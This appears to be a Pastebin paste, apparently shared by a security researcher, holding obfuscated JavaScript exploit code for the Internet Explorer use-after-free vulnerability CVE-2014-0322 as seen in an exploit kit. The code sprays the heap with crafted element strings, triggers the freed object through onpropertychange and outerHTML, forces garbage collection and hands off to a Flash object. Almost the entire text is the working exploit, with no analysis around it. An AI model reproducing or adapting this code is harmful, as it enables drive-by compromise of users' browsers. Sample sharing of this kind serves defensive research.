Advertisement
Kafeine

CVE-2014-0322 In Himan

Apr 17th, 2014
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. bled = null;
  2.  
  3. function moro(y, s) {
  4.     var h;
  5.     h = y.toString(16);
  6.     while (h.length < s) {
  7.         h = '0' + h
  8.     }
  9.     return h
  10. }
  11.  
  12. function gold(x) {
  13.     var u, j;
  14.     u = x & 0xFFFF;
  15.     j = (x >> 16) & 0xFFFF;
  16.     return unescape('%u' + moro(u, 4) + '%u' + moro(j, 4))
  17. }
  18. neat = new Array(0x250);
  19.  
  20. function kids() {
  21.     var t, n, j, z;
  22.     n = 0;
  23.     j = gold(0xdeadc0de);
  24.     z = 0x0f002000;
  25.     while (j.length < 0x360) {
  26.         if (j.length == (0x94 / 2)) {
  27.             j += gold(z + 0x10 - 0x0c)
  28.         } else if (j.length == (0x98 / 2)) {
  29.             j += gold(z + 0x14 - 0x8)
  30.         } else if (j.length == (0xac / 2)) {
  31.             j += gold(z - 0x0e)
  32.         } else if (j.length == (0x15c / 2)) {
  33.             j += gold(0x42424242)
  34.         } else {
  35.             j += gold(z - 0x0e)
  36.         }
  37.     }
  38.     t = j.substring(0, (0x340 - 2) / 2);
  39.     for (n = 0; n < neat.length; n++) {
  40.         neat[n] = document.createElement('div');
  41.         neat[n].className = t.substring(0, t.length)
  42.     }
  43.     try {
  44.         this.outerHTML = this.outerHTML
  45.     } catch (exc) {}
  46.     CollectGarbage();
  47.     for (n = 0; n < neat.length; n++) {
  48.         neat[n].title = t.substring(0, t.length)
  49.     }
  50. }
  51.  
  52. function fowlhr() {
  53.     var b, x, j;
  54.     try {
  55.         j = document.getElementsByTagName('script');
  56.         b = j[0];
  57.         b.onpropertychange = kids;
  58.         x = document.createElement('SELECT');
  59.         x = b.appendChild(x);
  60.         window['swf_id'].hulk8(bled)
  61.     } catch (exc) {}
  62. }
  63.  
  64. function dots(u) {
  65.     var c;
  66.     c = document.createElement('div');
  67.     document.body.appendChild(c);
  68.     c.innerHTML = u
  69. }
  70.  
  71. function menu5e(j, k) {
  72.     bled = j;
  73.     dots(k)
  74. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement